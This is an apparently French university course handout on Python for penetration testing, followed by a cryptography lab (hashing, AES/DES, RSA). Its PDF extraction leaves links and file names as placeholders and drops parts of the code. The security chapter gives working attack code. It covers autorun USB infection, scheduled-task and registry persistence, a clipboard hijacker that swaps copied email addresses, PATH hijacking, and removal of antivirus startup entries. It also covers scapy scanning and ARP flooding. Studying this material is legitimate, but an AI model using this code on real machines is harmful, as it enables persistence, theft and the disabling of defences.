sécurité X
Objectifs
Python propose avec ces modes standards plusieurs possibilités pour créer des outilles liés au domaine de
cybersécurité. En outre, il existe beaucoup de contributions sous la forme de modules permettant de faciliter
les testes de pénétration. Ce chapitre présente des techniques et modules utilisés dans les testes de
pénétration avec Python.
Prenant le code suivant, [Link], servant à ouvrir le navigateur chrome et d'attendre 20sec avant de
continuer l’exécution.
1 import os
2 import time
3 [Link]('"C:\Program Files\Google\Chrome\Application\[Link]"')
4 [Link](20)
Code suivant utilise PyInstaller pour créer un exécutable à partir du script [Link].
1 import PyInstaller.__main__,os,shutil
2
3
4 script="[Link]"
5 icon="[Link]"
6 fichier_exe="[Link]"
7 wd=[Link]()
8
9 PyInstaller.__main__.run(
10 [
11 script,
12 "--onefile",
13 "--clean",
14 "--log-level=ERROR",
15 f"--name={fichier_exe}",
16 f"--icon={icon}"
17 ])
78
Techniques d'évasion à la détection
18
19
Le fichier exécutable sera créé dans le répertoire dist dans le même répertoire . Si le fichier exécutable existe
déjà ([Link]), celui-ci est supprimé ([Link]). Pour déplacer le fichier créé dans le répertoire courant et
nettoyer le répertoire, la librairie shutil est utilisée de les instructions suivantes :
1 if [Link](fichier_exe):[Link](fichier_exe)
2 [Link]([Link](wd,"dist",fichier_exe),[Link]())
3 [Link]("dist")
4 [Link]("build")
5 [Link]("__pycache__")
Une façon pour exécuter un malware dans une machine cible est l'autorun. Le code suivant permet de créer un
fichier de configuration [Link] permettant de lancer l’exécutable une fois que le flashdisk (Removable
Media) D:\ est placé dans un PC. Par la suite, [Link] ainsi que l’exécutable sont déplacés dans le flashdisk
et la dernière commande (attrib +h) permet de cacher le fichier [Link].
1 autorun_conf.write(f'Open={fichier_exe}\n')
2 autorun_conf.write(f'Action-Start Acrobat Reader\n')
3 autorun_conf.write(f'Open={fichier_exe}\n')
4 autorun_conf.write('Label=MyUSB\n')
5 autorun_conf.write(f'Icon={icon}\n')
6 autorun_conf.close()
7
8 [Link]("[Link]","d:\\")
9 [Link]("[Link]","d:\\")
10 [Link]("attrib +h","f:\\[Link]")
Remarque
Cette méthode serais utile si l'Autorun est activé dans le système d'exploitation. Par contre, Windows 10
désactive par défaut cette fonctionnalité. Un autre alternative à cette méthode consiste à fusionner l’exécutable
avec une pièce jointe comme pdf ou jpg, mais ceci aussi dépend du logiciel de lecture et des mesures de
sécurité.
1 schtasks /query
- Le code suivant commence par tester si une tâche avec le nom MaTache est planifiée (Ligne 3). Si c'est le
cas, celle-ci est annulée (Ligne 4).
- Le code par la suite calcule un instant de l’exécution de la tache en augmentant la date/heur actuelle par un
temps aléatoire entre 1 à 4 minutes.
- La méthode .zfill(2) permet d'ajouter des "0" à gauche pour avoir un chiffre formaté de 2 caractères.
- La dernière ligne permet de planifier la tâche (c:/tmp/[Link]) pour quelle soit exécutée.
79
Persistance dans le système avec le Registre Windows
1 import os,random
2 from datetime import datetime,timedelta
3 if [Link]("schtasks /query /tn MaTache")==0:
4 [Link]("schtasks /delete /f /tn MaTache")
5 # l'intervale d'execution peut etre aléatoire
6 temps_sec=[Link]()+timedelta(minutes=1+int([Link]()*3))
7 horaire="%s:%s"%(f"{temps_sec.hour}".zfill(2),f"{temps_sec.minute}".zfill(2))
8 date_execution="%s/%s/%s"%(f"{temps_sec.day}".zfill(2),f"{temps_sec.month}".zfill(
2),f"{temps_sec.year}")
9 exe_path="c:/tmp/[Link]"
10 [Link](f"schtasks /create /tn MaTache /tr {exe_path} /sc once /st {horaire}
/sd {date_execution}")
Par conséquence, la commande schtasks est très utile pour planifier des tâches d'intrusion et annuler des tâches
de l'utilisateur. Le lien suivant donne plus d’informations sur comment utiliser schtasks pour créer, supprimer ou
terminer une tâche : [Link]
/schtasks
Cette ressource est organisée en plusieurs sections appelées Hives. Python offre une librairie standard ,winreg,
pour interagir avec le Registre Windows.
1 import winreg
2 hive=winreg.HKEY_CURRENT_USER
3 regpath="SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
4 #"SOFTWARE\Microsoft\Windows\CurrentVersion\Run" pour lancer a chaque demmarage
5
6 reg=[Link](None,hive)
7 key=[Link](reg,regpath,0,access=winreg.KEY_WRITE)
8 path_exe="c:/tmp/[Link]"
9 [Link](key,"task",0,winreg.REG_SZ,path_exe)
80
Accès aux données des utilisateurs
Le code suivant exécute une boucle infinie mais reste suspendu pour 5 secondes lors de chaque itération (time.
sleep). Avant ça suspension, le code ouvre le contenu du presse-papier et l'imprime sur l'écran.
1 import win32clipboard as wc
2 import time
3 while True:
4 [Link]()
5 copie=[Link]()
6 print("Contenu copié: ",copie)
7 [Link]()
8 [Link](5)
Ce module permet aussi de modifier le contenu copié par l'utilisateur. L'exemple suivant remplace le texte
copié si celui-ci contient une séquence "@[Link]". Pour une recherche/modification plus sophistiquée dans
le texte capturé, il est nécessaire d'utiliser les expressions régulières avec le module re. Cette attaque est utile
lorsque la séquence copiée par l'utilisateur est difficile à vérifier (etherium hash, liste de mails, etc).
1 import win32clipboard as wc
2 import time
3 while True:
4 [Link]()
5 copie=[Link]()
6 if "@[Link]" in copie:
7 print("Email trouvé : ",copie)
8 [Link]()
9 [Link]("tacker@[Link]")
10 else:
11 print("Contenu copié: ",copie)
12 [Link]()
13 [Link](5)
Un autre module permettant de capturer les activités de l’utilisateur est le module pillow :
Ce module est utile pour le traitement d'image mais permet aussi de prendre des captures d’écran. Le code
suivant prend une capture d’écran et sauvegarde celle-ci dans "[Link]" :
Il est aussi possible de parcourir l'arborescence d'un répertoire utilisateur et de lire le contenu textuel des
fichiers pdf, word, xlsx, csv. Le code suivant retourne une collection contenant arborescence du répertoire
courant (walk) :
1 import os
2 for chemin in [Link]("."):
3 print(chemin)
Le code suivant illustre comment ouvrir un fichier docx comme étant un archive zip. Le zipfile utilisé ci-
dessous fait partie de la librairie standard Python et permet d'ouvrir les archives . zip (un module externe doit
être installé pour les fichier .rar). Le contenu texte du fichier docx est placé dans word/[Link] de
l'archive docx. Cependant, pour lire un fichier pdf, un module supplémentaire doit être installé comme PyPDF2.
81
Détournement d'exécution
2 archive=ZipFile("document_word.docx","r")
3 contenu=[Link]('word/[Link]')
4 print(contenu)
5. Détournement d'exécution
Souvent, un programme installé dépends de d'autres fichiers binaires au d'autres commandes/exécutables. Par
exemple, lors de l’appel du compilateur javac , que ça soit par une application ou interactivement depuis l'invité
de commande, à partir de l'inviter de commande, le système commence par rechercher un fichier exécutable
[Link] dans le répertoire actuel. Si celui-ci n'est pas trouvé, le fichier est recherché dans les répertoires inclus
dans la variable d'environnement Windows path. Les répertoires inclus dans cette variables sont parcourus dans
leur ordre/position dans Path jusqu'à ce que un fichier avec le nom [Link] est trouvé. Sinon, la commande
termine avec un code d'erreur (valeur retournée différente de 0) et un message d'erreur indiquant que aucune
commande avec le nom javac n'a été trouvée.
Une attaque possible est de placer un exécutable avec le même nom d'une commande utilisateur au début de la
variable path ou bien dans le même répertoire où l'appel est faite. Le Registre Windows permet d'accéder /
modifier le contenu de la variable path.
Comme expliqué précédemment, une clé registre peut contenir plusieurs valeurs. Cependant, il n'existe pas de
moyen pour connaître le nombre de valeurs dans une clé. La fonction suivante ( rechercher_path) parcoure les
sous-clés dans la clé "Environment" jusqu'à ce que la sous-clé correspondante à "Path" est trouvée. La fonction
retourne la valeur associée à "Path" et la position où celle-ci a été retrouvée.
1 import winreg
2 def rechercher_path(hive,path):
3 reg=[Link](None,hive)
4 key=[Link](reg,path,0,access=winreg.KEY_READ)
5 i =0
6 while True:
7 val=[Link](key,i)
8 if val[0]=="Path":
9 return i,val[1]
10 i+=1
11 print( rechercher_path(winreg.HKEY_CURRENT_USER,"Environment") )
L'édition par contre est plus facile comme démontré lors de l'édition de Run et RunOnce. Le code suivant fait
appel à la fonction rechercher_path pour récupérer la valeur de "Path" dans la variable val_path. En suite, la
fonction modifier_path prend en paramètre la valeur de "Path" est concaténée avec le chemin où se trouve le
programme [Link].
Les chemins contenus dans la variable sont séparés par ";". Ainsi, le chemin injecté dans Path est concaténé au
début de la variable avec le séparateur ";" (Ligne 3). Pour conclure, la valeur de la sous-clé Path est mise à jour
avec la nouvelle valeur (Ligne 6).
Il est important à noter que la modification du "Path" prendra effet lors du prochain démarrage. Ceci peut être
aussi utile pour l’escalade de privilège (Privilege escalation) si l'utilisateur lance l'invité de commande comme
administrateur avant de déclencher le détournement d'exécution.
1 _,val_path=rechercher_path(winreg.HKEY_CURRENT_USER,"Environment")
2 def modifier_path(hive,path,val_path):
3 val_path="c:/tmp;"+val_path
4 reg=[Link](None,hive)
5 key=[Link](reg,path,0,access=winreg.KEY_SET_VALUE)
82
Mouvement latéral
6 [Link](key,"Path",0,winreg.REG_EXPAND_SZ,val_path)
7 modifier_path(winreg.HKEY_CURRENT_USER,"Environment",val_path)
Pour terminer, la variable d'environnement Windows Path permet aussi de localiser une librairie. C'est le cas
pour Python alors que Java utilise une variable d’environnement similaire appelée CLASSPATH. Ainsi, celle-ci
peut être modifiée pour injecter un code malicieux de la même façon.
6. Mouvement latéral
L'attaque peut être déplacée à d'autres comptes/machines. Dans la machine locale, il est possible de trouver
d'autres utilisateurs. Pour lister les utilisateurs avec leurs sid, la commande wmic est utilisée :
Comme avec l'accès aux clés de registre HKEY_CURRENT_USER, les clés de d'autres utilisateurs peuvent être
modifiées avec le hive HKEY_USERS, regroupant touts les utilisateurs dans le système, Les clés associées à un
utilisateur seront regroupées dans la sous clé correspondante à sont sid.
Par exemple, pour modifier la variable "Path" d'un utilisateur correspondant au sid S-1-5-21-1009172345-
1319720713-581728911-503, la fonction modifier_path (précédemment implémentée) est invoquée avec les
paramètres hive winreg.HKEY_USERS et clé "S-1-5-21-1009172345-1319720713-581728911-
503\Environment". Cependant, cette opération nécessite les droits administrateur.
1 _,val_path=modifier_path(winreg.HKEY_USERS,"S-1-5-21-1009172345-1319720713-
581728911-503\Environment")
1 import winreg
2 def rechercher_et_supprimer_keyapp(hive,path,app_a_desactiver):
3 reg=[Link](None,hive)
4 key=[Link](reg,path,0,access=winreg.KEY_READ)
5 try:
6 i =0
7 while True:
8 val=[Link](key,i)
9 for app in app_a_desactiver:
10 print(app,val[1])
11 if app in val[1]:
12 print(f"Désactivation de {val[1]}")
13 key_app=[Link](reg,path,0,access=winreg.KEY_SET_VALUE)
14 [Link](key_app,val[0])
15 i+=1
16 except:
17 pass
18 rechercher_et_supprimer_keyapp(winreg.HKEY_CURRENT_USER,
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",["antivirus","avg","check"])
19
83
Scan active
8. Scan active
- Le scan réseaux consiste à reconnaître l'architecture du réseau cible ainsi que les applications / services
existants dans celui-ci.
- La capture du drapeau (Banner-grabbing) consiste à récolter des informations sur les applications /
services (version par exemple) et type système d'exploitation (Linux, Windows, Version, Distribution,
etc) . Ceci permet d'identifier des vulnérabilités connues sur les applications fonctionnant dans le réseau.
- Dans ce contexte, scapy est un outil développé avec python qui permet de scanner, d'analyser des fichiers
de capture ainsi que de fabriquer et emmètre des paquets.
- Pour commencer à utiliser scapy, vous devez d'abord l'installer. Après avoir télécharger et installer python
3.7, lancer IDLE de cette version et tappez les commandes suivantes dans le shell python. Vous pouvez
aussi l'installer de la même façon dans Anaconda si votre version python est plus récente que 3.7. Avec
cette méthode d'installation, vous pourriez importer scapy dans votre script python et faire appel à ces
fonctionnalités.
En cas où vous trouvez des difficultés lors de l'installation de scapy même après avoir installer Python 3.7, vous
pouvez installer l’interpréteur interactive scapy depuis le cmd: pip install scapy. Au contraire à la première
méthode d'installation, vous aurais accès à un interpréteur de commande scapy à partir du cmd (il suffit de
taper scapy dans le cmd):
84
Scan active
Pour le premier exemple, nous allons faire appel à la fonction sniff qui fait le même travail que Wireshark en
terme de capture de paquets. Le paramètre count permet de limiter le nombre de paquets capturés avant de
retourner ces derniers. La méthode sniff() renvoie un objet représentant les paquets capturés qui peuvent être
visualisés/modifiés.
L'appel de la méthode show() pour un paquet particulier (le paquet 0 dans l'exemple suivant) affiche les entêtes
et les valeurs des champs dans ce paquet.
85
Scan active
86
Scan active
32 load =
'\x17\x03\x03\x00D\x02\\xc5b\\xc3\x13\x036\\\x06\\xd2y\\xd8E\\xcd\\xc5I\\x88\\xb25\\x8b\\x99
(\\xb4\t\\xa1Mh*\\xaa\\xbd\\xb6\\xa5f\\xe9B\\xa7\\xb2/:
Z\\xe6\\͕\\xe1\x192\\xbeKOz>\x16Kl*ZB\\xb0Y\\xa1\\x8dw\x11\\x97\\xe8'
Scapy permet d’accéder aux valeurs des champs d'un paquet et de les modifier. Par exemple, dans le code
précédant, le paquet affiché a un numéro de port destination = 54658 dans l’entête TCP. L'attribut dport peut
être affiché et modifié comme touts les autres attributs (src/dst, proto et flags dans l’entête IP, dport et sport
dans TCP). Le code suivant affiche l’entête [Link], [Link] et [Link] et puis modifie [Link] avec la
valeur 999 au lieu de 54658 .
87
Scan active
33
34 54658
35 [Link]
36 f4:6f:ed:1a:83:e8
37 ####################
38 ###[ Ethernet ]###
39 dst = 48:51:b7:d4:c7:1d
40 src = f4:6f:ed:1a:83:e8
41 type = IPv4
42 ###[ IP ]###
43 version = 4
44 ihl = 5
45 tos = 0x0
46 len = 113
47 id = 6163
48 flags =
49 frag = 0
50 ttl = 119
51 proto = tcp
52 chksum = 0x7abe
53 src = [Link]
54 dst = [Link]
55 \options \
56 ###[ TCP ]###
57 sport = https
58 dport = 999
59 seq = 1563945494
60 ack = 1413016111
61 dataofs = 5
62 reserved = 0
63 flags = PA
64 window = 301
65 chksum = 0x64eb
66 urgptr = 0
67 options = []
68 ###[ Raw ]###
69 load =
'\x17\x03\x03\x00D\x02\\xc5b\\xc3\x13\x036\\\x06\\xd2y\\xd8E\\xcd\\xc5I\\x88\\xb25\\x8b\\x99
(\\xb4\t\\xa1Mh*\\xaa\\xbd\\xb6\\xa5f\\xe9B\\xa7\\xb2/:
Z\\xe6\\͕\\xe1\x192\\xbeKOz>\x16Kl*ZB\\xb0Y\\xa1\\x8dw\x11\\x97\\xe8'
70
La méthode haslayer() d'un paquet permet de tester si le paquet comporte un entête spécifique. Par exemple, le
5em paquet analysé dans le code précédant contient un entête Ethernet, IP, TCP et Application (Raw) mais ne
contient pas un entête ICMP. Ainsi, capture_des_packet[5].haslayer("TCP") renvoie True et capture_des_packet
[5].haslayer(ICMP) renvoie 0 (False).
L'attribut .payload d'un entête permet d'accéder aux octets encapsulés dans la couche supérieure. A noter que
capture_des_packet[5]['IP'].[Link] est équivalente à capture_des_packet[5]['TCP'].payload puisque
[Link] représente TCP.
88
Envoie de paquet
Une dernière méthode qui permet d'accéder à la liste des couches c'est la méthode .layers() :
9. Envoie de paquet
Un paquet peut être fabriqué avec les valeurs des champs souhaités. Par exemple, le code suivant crée un
paquet1 contenant un entête IP et ICMP. Initialement, les valeurs des champs sont laissées par défaut avant de
modifier IP source /destination ainsi que le type du message ICMP (le message ICMP initial été un echo-
request type=8). Après la modification des champs, le paquet produit est affiché :
1 ###[ IP ]###
2 version = 4
3 ihl = None
4 tos = 0x0
5 len = None
6 id = 1
7 flags =
8 frag = 0
9 ttl = 64
10 proto = icmp
89
Envoie de paquet
11 chksum = None
12 src = [Link]
13 dst = [Link]
14 \options \
15 ###[ ICMP ]###
16 type = echo-request
17 code = 0
18 chksum = None
19 id = 0x0
20 seq = 0x0
21 unused = ''
22
23 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
24 ###[ IP ]###
25 version = 4
26 ihl = None
27 tos = 0x0
28 len = None
29 id = 1
30 flags =
31 frag = 0
32 ttl = 64
33 proto = icmp
34 chksum = None
35 src = [Link]
36 dst = [Link]
37 \options \
38 ###[ ICMP ]###
39 type = echo-reply
40 code = 0
41 chksum = None
42 id = 0x0
43 seq = 0x0
44 unused = ''
45
Pour créer le paquet précédant, il est possible de spécifier les valeurs des champs dans les constructeurs des
entêtes en une seule ligne :
Dans l’exemple suivant, paquet2 contient les entêtes IP, TCP et HTTP :
1 ###[ IP ]###
2 version = 4
3 ihl = None
4 tos = 0x0
5 len = None
6 id = 1
7 flags =
90
Envoie de paquet
8 frag = 0
9 ttl = 64
10 proto = tcp
11 chksum = None
12 src = [Link]
13 dst = [Link]
14 \options \
15 ###[ TCP ]###
16 sport = ftp_data
17 dport = http
18 seq = 0
19 ack = 0
20 dataofs = None
21 reserved = 0
22 flags = S
23 window = 8192
24 chksum = None
25 urgptr = 0
26 options = ''
27 ###[ Raw ]###
28 load = 'GET / HTTP\x01.1\r\nHost:[Link]\r\n\r\n'
Capturé ou créé, un paquet peut être transmis avec deux fonctions scapy : sr1 (send receive) et send. La
différence entre les deux fonctions est que sr1() envoi et attend la réception d'une réponse alors que send()
envoi seulement le paquet en paramètre. Pour les deux fonctions vous pouvez vérifier que le paquet a bel et
bien été transmis en ouvrant Wireshark avec le filtre approprié. Alternativement, la fonction sr() permet de
transmettre plusieurs paquets et de recevoir les réponses correspondantes.
La fonction sr1() est plus utile lorsque il est nécessaire d'attendre la réponse correspondante au paquet transmis.
En outre, la valeur du paramètre timeout permet de spécifier le délai maximal d’attente pour la réponse. A noter
que lorsque le paramètre dst dans l’entête IP prend un tableau d’adresses, une copie du message est envoyée à
chaque destination. Le résultat renvoyé par sr1() le paquet reçu comme réponse. Si, pour un paquet envoyé,
aucune réponse n'est reçue, l'objet placé à la position de la réponse correspondante sera None (la même
convention est suivie par sr() ).
Dans le code suivant, un echo request est transmis aux adresses [Link] et [Link]. Par la suite, seule la
première réponse reçue est affichée. Puisque la destination n'écoute pas le port TCP 9000, le segment TCP reçu
possède un flag=RA (RST,ACK allumés) :
1 Begin emission:
2 Finished sending 1 packets.
3
91
Banner grabbing
1 Begin emission:
2 Finished sending 8 packets.
3
4 Received 61 packets, got 5 answers, remaining 3 packets
5 (0.961111111111111, ['Linux 2.4.18', 'Linux 2.4.21 (Suse, x86)', 'Linux 2.6.10',
'Linux 2.6.5 - 2.6.11'])
Si le code précédant ne fonctionne pas, vous devez télécharger le contenu suivant et le placer dans le chemin C:
\Program Files\nmap sans changer le nom du fichier. Ce fichier contient la base de connaissance namp utilisée
pour analyser les réponses reçues : [Link]
usp=sharing
D'une manière simplifiée, nmap envoie plusieurs paquets TCP/UDP à l'adresse destination et analyse les
valeurs des champs dans chaque réponse reçue. Avec les valeurs récoltées, nmap peut déterminer les services
existants selon les numéros de port pour lesquels la machine destination répond à la tentative de
92
MAC Spoofing et flooding
Synchronisation avec SYN , ACK. Un autre exemple est la valeur de TTL du paquet. Lorsque le paquet est
généré par Linux TTL=64 alors que pour Windows TTL=128. Cependant, les valeurs de TTL des paquets
générés peuvent être modifiées à partir du système d'exploitation.
Le fait de pouvoir forger l'adresse source dans la trame Ethernet et l’entête ARP est utilisé dans une technique
appelée MAC Spoofing. Avec une adresse MAC altérée, il est possible contourner des restrictions imposées à la
base de l'adresse MAC ou de cacher l'identité réel de la machine source. Il est aussi possible d'assumer l'identité
d'autres machines en utilisant leurs adresses MAC dans les messages transmis.
Un autre type d'attaque est le ARP flooding qui consiste à forger et transmettre des messages ARP requests /
reponses pour un large nombre d'adresses MAC fictifs. Ceci conduit à surcharger les tables Sources Address
Table (SAT) sachant que si la table d'adressage Liaison devient trop large, le Switch commencera à broadcaster
les trames dans le réseaux au lieu de chercher l'interface de sortie correspondante à l'adresse MAC destination.
Ainsi, si tous les paquets sont diffusés dans le réseau l'attaquant aura accès à tous les paquets diffusés dans le
réseau.
Dans un teste de pénétration, ce type de pratique doit être fait d'une manière intelligente et avec le
consentement du propriétaire du réseau car ces pratiques peuvent endommager le réseau. Par ailleurs, le réseau
cible peut avoir des mécanismes pour détecter l'attaque et ce-ci peut conduire à des procédures juridiques.
Écrivez une fonction en python qui prend en paramètre une liste d'adresses IP et qui retourne les numéros de
port TCP ouverts dans les machines correspondantes.
Indice :
Utilisez sr1() avec des segments TCP en incrémentant le numéro de port à chaque itération. Afin de
vérifier si le port est ouvert, la valeur des flags de la réponse est examinée (RA /SA ).
Question 2
Écrivez une fonction en python qui prend en paramètre une liste d'adresses IP et qui retourne les numéros de
port UDP ouverts dans les machines correspondantes.
Indice :
Vérifiez les réponses ICMP Destiation Unreachable reçues.
93
Exercice : Traçage de route
Vous devez écrire un programme python pour trouver le nombre de messages http dans le fichier de capture.
Vous pouvez considérer un paquet comme message http si le numéro de port source ou destination sont égaux
à 80 ou 443 et la taille des données encapsulées par TCP est différente de 0.
En utilisant scapy, écrivez une fonction qui trace la route vers une destination donnée comme paramètre. Votre
programme doit itérativement envoyer des paquets ICMP et analyser la réponse de sr1() (type = 11 / 0 ). La
fonction doit retourner la liste des sauts détectés.
94
TP 9 Cryptographie appliquée
TP 9 Cryptographie
appliquée XI
La cryptographie est un sous domaine de la cryptologie qui consiste à appliquer des opérations mathématiques
permettant de cacher un texte claire des parties non autorisées. Actuellement, cette technologie est utilisée
dans tout domaine où le contenu de l'information doit être protégé (téléphonie, carte de crédit, applications
comme les navigateurs web,etc).
- Symetric Cryptography : La même clé est utilisée pour chiffrer et déchiffrer (comme AES, DES et
TripleDES). Dit aussi private key encription.
- Asymetric Cryptography : La clé utilisée pour le chiffrement est différente de celle utilisée pour le
déchiffrement (comme RSA et Elliptical curve). Dit aussi public key encryption. La clé privée est gardée
secrète pour le déchiffrement alors que la clé publique est accessible par n'importe qui. Cependant, a
partir de la clé publique, il est impossible de construire la clé privé.
Remarque : Dans un site web dynamique, les mots de passe des utilisateurs sont souvent enregistrés sous forme
de hash au lieu de leurs valeurs claires.
95
Exercice : Fonction de hashage
sha256 = 16F71232D915F3533D6510E032EB1C4BFEF2AF39E3EB44A0B58B9C44D4A65361
sha1 = 2B3A855FBA7F4A19090DCB61AC5C7011E7D12AFC
crc32 = CB554B3E
Afin de vérifier bien que le résultat est juste, Windows offre un outil pour calculer le hashage d'un fichier
(cliquez sur le bouton droit sur le fichier pour le quel vous souhaitez calculer le hash). Voir la figure suivante :
Sinon, des outilles online existent qui permettent de calculer le hashage d'un fichier entier ou d'un message
texte(voir [Link]
Important : Si vous décider de comparer les valeurs produit par python et ceux de Windows ou FileFormat,
assurez vous que le message soit enregistrer dans un fichier texte claire et non .doc ou .pdf .
Question
1. Écrivez un programme permettant de lire un fichier comme une suite d'octets (de préférence le fichier
ne doit pas dépasser 1Mo).
2. Concaténez les octets lus dans une variable appelée data.
3. Calculez le hash SHA256 et MD5 de la variable data et comparez le résultat avec celui produit avec le
site Fileformat. (enregistrez le résultat du hash afin de comparer avec l'étape suivante)
4.
96
Exercice : Chiffrement avec DES et AES (Algorithmes de chiffrement symétriques)
4. Changez un seul caractère du Contenu claire et comparez le résultat produit après modification avec le
résultat du hashage avant modification. Que remarquez vous ?
5. Est ce que deux messages / fichiers différent peuvent avoir le meme résultat de hashage ?
Indice :
- Utilisez open("votre nom de fichier","rb"). "rb" signifie : r=> ouvrir en mode lecture , b=> lire des
suites d'octets au lieu de texte ASCII
- Pour initialiser une suite d'octets data vides (type bytes), il suffit de mettre :
- data=b''
- Pour concaténer une séquence avec une autre, il suffit de les sommer comme une chaîne de
caractères en Java.
Le programme suivant propose un exemple sur comment lire le contenu du fichier [Link] sous forme
d'octets :
1 fichier=open("[Link]","rb")
2 data=b''
3 for sequence_octets in fichier:
4 data+=sequence_octets
5 [Link]()
Le code suivant permet de lire le fichier entier avec une seule instruction :
1 data=open("[Link]","rb").read()
1 import os
2 # [Link](N) genere une sequence
3 # de N octets aleatoire
4
5 # cle de 16 octets (128 bits) aletoire
6 cle_16_octet=[Link](16)
Le code suivant montre comment chiffrer un contenu avec DES en utilisant la bibliothèque de cryptographie
Crypto :
97
Exercice : Chiffrement avec DES et AES (Algorithmes de chiffrement symétriques)
14 msg = iv +[Link](plaintext)
15 #affichage du text chiffre
16 print("Message chiffré ="+str(msg))
17 #affichage du text dechiffre
18 print("Message déchiffré ="+str([Link](msg)))
Le code suivant montre comment chiffrer un contenu avec AES en utilisant la bibliothèque de cryptographie
Crypto :
1 #importe AES
2 from [Link] import AES
3 #cree une instance AES avec une cle= "cle16 octets AES"
4 #la taille de la cle == (16octets)
5 objet_de_chiffrement=[Link]("cle16 octets AES")
6 Message_claire="Message claire16"
7 #chiffre le message claire
8 contenu_chiffre=objet_de_chiffrement.encrypt(Message_claire)
9 print(contenu_chiffre)
Résultat :
b'|Kk\x7f\\Y\xb8\x1b\xb2J\xe3\xf0\xe3\xd0[8'
Important:
- Le texte à chiffrer doit être d'une taille multiple de la taille de la clé. Sinon des octets de bourrage
doivent être ajoutés à la fin du contenu.
- Pour indiquer le nombre des octets de bourrage à la fin du contenu, il existe plusieurs méthodes :
- Lors de l’initialisation de l'algorithme (ligne 5), AES automatiquement obtient la taille de la clé (128 bits,
192 bits ou 256 bits) pour déterminer la taille du bloque.
Le déchiffrement se fait d'une manière similaire. Une instance de l'algorithme AES avec la même clé est créée
et la méthode decrypt est invoquée sur le contenu chiffré :
Résultat :
b'Message claire16'
Question 1
Écrivez un programme qui chiffre le contenu d'un fichier avec AES 128bits (16 octets) et l'enregistre :
1. Écrivez un programme permettant de lire le contenu d'un fichier sous forme de séquence d'octets. (voir
le premier exercice)
2. Le programme doit calculer la taille en nombre d'octets du contenu.
3. A partir de la taille, le programme doit calculer le nombre d'octets de bourrage à ajouter à la fin (entre
0 et 15). Cette valeur doit être sauvegardée dans une variable bourrage.
4.
98
Exercice : Chiffrement avec DES et AES (Algorithmes de chiffrement symétriques)
Indice :
- Utilisez la fonction len pour obtenir la taille de la séquence d'octets. Afin d'obtenir le nombre d'octets
de bourrage il suffit d'utiliser l'opérateur modulo (%) avec 16.
- Pour ouvrir le fichier avec le nom [Link] en mode écriture, il suffit d'utiliser open("[Link]","wb").
N'oubliez pas de fermer le fichier avec la méthode close() à la fin l'exécution.
Question 2
Implémentez l'algorithme permettant de déchiffrer le contenu du fichier que vous venez de chiffrer.
Une solution à ce problème est le schéma Cipher-Block Chaining (CBC). Dans ce mode d'opération le premier
bloque du contenu est d'abord combiné avec un Vecteur d'Initialisation (IV) par un XOR avant que le résultat
soit passé en entrée des opérations de AES (SubByte). Par la suite, le résultat du chiffrement est utilisé comme
IV pour le bloque suivant (le prochain bloque XOR le bloque chiffré précédant sera passé à SubByte).
L'implémentation AES offre une façon simple pour exécuter ce traitement. Il suffit de passer en paramètre la
valeur de IV initiale et le mode CBC :
1 #importe AES
2 from [Link] import AES
3 #cree une instance AES avec une cle= "cle16 octets AES"
4 #l'argument AES.MODE_CBC indique que le chiffrement est
5 # en mode CBC
6
7 #le vecteur d'initialisation = "vecteur d'init16"
8
99
Exercice : Génération de clé RSA et chiffrement/déchiffrement
Question 3
Dans les étapes suivantes, on souhaite comparer entre le chiffrement AES 128 bits avec et sans CBC :
1. Créez une chaîne d'octets contenant au moins 32 octets (si la taille est supérieure à 32, elle doit être
multiple de 16). Vous pouvez utiliser [Link] ou une chaîne de texte. (pour convertir une chaîne de
caractère en octets, utilisez la méthode bytes ou encode())
2. Chiffrez le message avec AES 128bits sans CBC (comme dans le premier exemple AES de cette série).
3. Générez un vecteur d'initialisation de 16 octets contenant seulement des 0 (il suffit de mettre bytes(16)
). Mettez cette valeur dans la variable iv.
4. Chiffrez le même message avec AES 128bits et CBC (comme dans l'exemple AES avec CBC de cette
série).
5. Comparez les deux résultats de chiffrement. Est ce que le premier bloque chiffré de 16 octets est
identique pour les deux chiffrements ? Est ce que le deuxième bloque est le même pour les deux
chiffrements ?
100
Exercice : Communication avec serveur sécurisée
17
18 # recupere la cle publique
19
20 cle_publique = [Link]().exportKey()
21
22
23 # ecrit le contenu de la cle publique sur fichier
24 Fichier = open("fichier_cle_publique.pem", "wb")
25 [Link](cle_publique)
26 [Link]()
- Le programme suivant permet d'importer les clés publique (ligne 5) et privée (ligne 20) ainsi que le
chiffrement avec clé publique (ligne 14) et déchiffrement avec clé privée (ligne 26).
- Un objet permettant de chiffrer avec la clé publique (ligne 8) est affecté à objet_cle_rsa.
- Un objet permettant de chiffrer avec la clé privée (ligne 23) est affecté à objet_cle_rsa_prive.
1 import Crypto
2 from [Link] import RSA
3 from [Link] import PKCS1_OAEP
4 # importe la cle publique du fichier
5 contenu_clepublique = [Link](open("fichier_cle_publique.pem","rb").read())
6
7 # cree un objet a partir de la cle permetant de chiffre avec RSA
8 objet_cle_rsa = PKCS1_OAEP.new(contenu_clepublique)
9
10 # message claire
11 message=b"Message"
12
13 # chiffre le message avec la cle publique
14 message_chiffre=objet_cle_rsa.encrypt(message)
15
16 #imprime le resultat du chiffrement
17 print(message_chiffre)
18
19 # importe la cle prive du fichier
20 contenu_cleprive = [Link](open("fichier_cle_prive.pem","rb").read())
21
22 # cree un objet a partir de la cle permetant de chiffre avec RSA
23 objet_cle_rsa_prive = PKCS1_OAEP.new(contenu_cleprive)
24
25 #imprime le resultat du dechiffrement
26 print(objet_cle_rsa_prive.decrypt(message_chiffre))
Question
Pour un exercice échauffement, créez un programme permettant de déchiffrer avec RSA le fichier 1_crypte.txt
situé dans le lien suivant. La clé privée permettant le déchiffrement du contenu est situé dans le même
répertoire Google fichier_cle_prive.pem, utilisez celle-ci pour déchiffrer :
[Link]
101
Exercice : Communication avec serveur sécurisée
Les deux programmes représentent un code du serveur muti-thread et du client. Ces derniers doivent être
placés dans le même répertoire que les fichiers des clés publique et privée ( fichier_cle_publique.pem et
fichier_cle_prive.pem).
- Le serveur muti-thread (Listing 3) est le même que le serveur multi-thread du TP 1 mais transmet une clé
publique au client initialement (contenu_clepublique) ;
- Par la suite, les messages reçus du clients doivent être déchiffrés avec la clé privée (objet_cle_rsa_prive) ;
1 import socket
2 import _thread as thread
3 from [Link] import RSA
4 from [Link] import PKCS1_OAEP
5
6
7 def Traiter_Connexion(connexion_avec_client,adresse_client):
8 global objet_cle_rsa_prive,contenu_clepublique
